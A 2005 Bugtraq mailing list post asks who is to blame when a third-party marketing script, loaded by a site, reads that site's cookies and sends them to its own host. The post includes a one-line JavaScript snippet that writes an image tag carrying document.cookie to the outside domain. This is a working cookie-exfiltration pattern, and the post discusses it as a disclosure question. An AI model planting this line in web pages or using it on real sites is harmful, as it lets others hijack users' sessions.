Home page logo

bugtraq logo Bugtraq mailing list archives

cross-domain cookie theft: who's to blame?
From: Tim Tompkins <timt () spiderlinks org>
Date: Thu, 12 May 2005 17:06:54 -0700

Before disclosing the specifics, I'm just wondering wherein the fault lies:

I visited a site, say abc.foo.com that loaded javascript from an external (marketing statistics) site, say xyz.bar.com. The script from xyz.bar.com read the cookies set by abc.foo.com and posted them in a subsequent image tag as part of the query string. Essentially, xyz.bar.com now has all of my abc.foo.com cookies and could potentially hijack any cookie-based sessions I had going.

Is this a browser problem, allowing cross-domain scripts to read each other's cookies, or is this just blatant abuse by abc.foo.com and/or xyz.bar.com?

Example from abc.foo.com
 <script language="javascript" src="http://xyz.bar.com/somescript.js";>
 [ ... ]

Example of xyz.bar.com/somescript.js:

document.write('<img src="http://xyz.bar.com/img.gif?cookie=&apos; + escape(document.cookie) + '">');

Tim Tompkins

  By Date           By Thread  

Current thread:
  • cross-domain cookie theft: who's to blame? Tim Tompkins (May 13)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]